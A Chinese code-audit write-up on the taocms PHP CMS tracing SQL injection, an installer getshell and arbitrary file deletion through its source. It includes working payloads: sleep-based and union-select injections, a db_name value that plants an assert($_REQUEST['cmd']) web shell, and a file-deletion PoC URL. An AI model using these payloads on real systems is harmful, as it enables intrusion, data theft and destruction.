PHP代码审计之taocms(三)

简介: PHP代码审计之taocms

getquery

可以看到该方法没有合适的调用,都是在一些模板文件中用于加载数据,所以直接放弃

3efc308edd191f7ff4056a76fea7f0bf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


updatelist

category

看到这里的调用,发现是经过这个add_one处理过的,不是传参的那个status

f6e39d39750acb068f9ee01c36f0b7f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

add_one处理POST传输的数据,对数据了过滤转义,然后返回值,所以不存在注入

f2f64b1c4aa7f1a6ccd543a752a6edb2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

而在update函数中,没有进行数据数据过滤处理,有可能存在注入

b3620a78dc88851a73b605c695e21d1d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

payload:1) or sleep(4)#

b6b1c58cbd215fbed0426ec4c1eff187_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

getlist

category

根据参数知道id对应的参数为$where参数,对应的同样没有过滤,直接打入payload

2ca911037d1a0572efb772509ad9729c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

d7c7c6fde76d99fc4b70e8d49e90c0df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

延时4s

a64f17ddea0419e2e175b108687b54b1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Admin

全局搜索getlis,在admin.php中找到edit方法存在getlist的调用,并且能够可控参数

de9bf27334a1e530595122e4d4c18705_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

那么直接抓包修改id值,注意不能用or,我用or这个payload打的时候没触发sleep()函数,因为or是代表或的意思,而这里id=2,2是存在的,所以就不执行sleep函数,就像命令中的“||”符号。所以用and直接一起执行。

payload:2 and sleep(5)%23

执行成功,直接延时5s

896585cfdf3b26c28240d78877207f97_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Category

可以看到也是继承的Article,注入位置也是相同的

3f5a9710c05e40577ed34ba7988fb62e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

payload:1 or sleep(5)%23

b7494ec0f103d64e6b3f21202bead4c9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Cms

筛选到cms类中的updateurl方法存在该函数调用,分析前后发现$addsql参数是由$id参数组合而成的,那么也很明显的存在注入,id没有经过处理。

e77e9be1051aeb041ce807441912fa56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


延时成功

fa84c4630477a0b425d5ebbe01ffc18d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

lists方法也存在注入点,继续发现getlist语句的参数由$addsql控制,而该参数能够拼接,发现name参数被用安全方法过滤了危险字符,所以主要看cat和status参数。,在save方法。

332a7f4018d82314fc2aaf795977e2b1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这个方法我一直想知道在哪个地方调用,我是用ctrl调用也不行,然后发现他是通过传参调用的,在save方法找到该方法的调用。

330bb0346db5080de6f8a66bdb2b2bb8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

读源码的时候发现这个tags参数进行了safeword过滤,但是等级只有3级,没有用最高级的,所以没有对输入做到完全过滤的方法

126ef73b4b06bdeeb4a88223e4015c6e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这个位置也有一个注入点

546b8c90dd2f875fc9bc89cd106275eb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.install处getshell

6608468a8e4c47d164719c97476dc4f8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

判断是否有POST传入db_name,如果有的话就会赋值给$db_name参数,如果没有就会赋值默认的值,跟进

24de94048e390b8aaf50ad8d6a0a8b40_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以看到这里先调用file_get_contents读取了配置文件当中的内容,接着调用了str_replace将默认值替换成了POST中传入的参数值,这里其实三个参数都能够写入shell文件,这里对db_name进行写入shell

db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//

72555feea2c8feed426e55bc476e1bf0_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

b7b4554c87c575fa901ef4ba8ece8a86_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

1524650f300c1291bf561a161a1fe10c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

8.任意文件删除

根据poc对代码进行分析

?action=file&ctrl=del&path=filepath

90de8ee8e22a3a33318674369990f41d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

先会调用Base类中的catauth方法对$action参数进行判断,之后会判断是否存在相应的类,如果存在的话就实例化该类并赋值给$model,并且会判断$ctrl方法是否存在于$action类中,存在的话就会调用类中无参方法

9b547df1c470a20238476cd407eea22c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

include/Model/Base.php#119,

通过调试发现$_SESSION[TB.'admin_level']=admin,所以返回值为true恒成立,所以上面的代码逻辑会接着往下走

传入的$action=file,定位到类文件include/Model/File.php

94f833dc56c6fad83c412ca963cc1e79_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

根据File类的构造方法,以及前面传入的参数,$id是可控的,但是没有赋值默认为0,$table即是$action=file,接着这里会对指定文件的真实路径进行拼接,这里的SYS_ROOT就是整个项目的绝对磁盘路径。

fa94294e08529466e7a352fa7b20b32a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这里会对指定绝对路径要删除的文件的全选进行判断,并且如果是文件夹的话会遍历文件夹并判断文件夹是否为空,之后就会直接进行删除的操作,加上目录穿越就可以进行任意文件删除了。

9.SQL Injection

根据poc对源代码进行分析漏洞原理。

poc
?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2

根据poc来进行分析

include\Model\Cms.php#112

63a4e357bc51c2a0278dfc3dcdd292a7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

name,cat,status三个参数都由GET传入,都可控,直接来看调用的DB类中的getlist方法
include/Db/Mysql.php#60

b8f8af68a8da35efc4723a2d700ca0e7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

调用的方法除了前三个参数是由前面调用时传入的参数覆盖的,其他两个参数为默认值,调试输出了最后的sql查询语句

select count(*) from cms_cms where 1=1  and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY  id DESC  limit 20

这里sql执行完之后会调用Base类中的magic2word方法,对结果是否为数组进行判断,如果是数组就会存入新的数组并且返回赋值给$datas数组,打印该数组可以发现注入的语句已经成功执行并返回了结果

754de0c89d70b97c4888baf192598d55_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


REF

https://forum.butian.net/share/992

http://anyun.org/a/anquanjuhe/Seayxinxianquanboke/2017/0213/8445.html

https://xz.aliyun.com/t/11063

相关文章
|
5月前
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
179 0
|
5月前
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
69 0
|
5月前
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
41 0
|
5月前
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
412 0
|
2天前
|
PHP
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)
|
5月前
|
XML 开发框架 .NET
代码审计之PHP基础铺垫
代码审计之PHP基础铺垫
61 0
|
5月前
|
小程序 Shell PHP
PHP代码审计(四)PHP文件操作函数(3)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
23 0
|
5月前
|
安全 Unix Shell
PHP代码审计(四)PHP文件操作函数(1)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
40 0
|
5月前
|
SQL 小程序 Shell
PHP代码审计(三)php中代码执行&&命令执行函数
string system(string command,int &return_var) 可以用来执行系统命令并直接将相应的执行结果输出 system() 输出并返回最后一行shell结果。
55 0
|
5月前
|
安全 小程序 PHP